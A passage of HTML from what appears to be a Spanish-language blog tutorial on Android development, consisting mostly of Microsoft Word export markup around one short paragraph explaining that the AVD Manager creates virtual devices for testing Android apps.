<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
<br />
<div class="MsoListParagraph" style="margin-left: 72.0pt; mso-add-space: auto;">
<span style="mso-ansi-language: ES;">Básicamente tenemos dos cosas muy importantes, una
es el <b style="mso-bidi-font-weight: normal;">AVD Manager </b>que nos va a
permitir crear dispositivos móviles virtuales, si si eso es, un móvil virtual
que nos permitirá probar las aplicaacinoes android sioin necesidad de tener que
probarlas en un dispositivo físico.</span></div>
<div class="MsoListParagraphCxSpLast">
<span style="mso-ansi-language: ES;"><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</span></div>
<br />
<div class="MsoListParagraphCxSpLast">
<span style="mso-ansi-language: ES;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-YfzHZIlNTsQ/UJRIONaoxZI/AAAAAAAAALg/05K0607dhSo/s1600/img2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-YfzHZIlNTsQ/UJRIONaoxZI/AAAAAAAAALg/05K0607dhSo/s1600/img2.jpg" /></a></div>
<br />
<div class="MsoNormal">
<span style="mso-ansi-language: ES;">
</span><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><br />
<!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
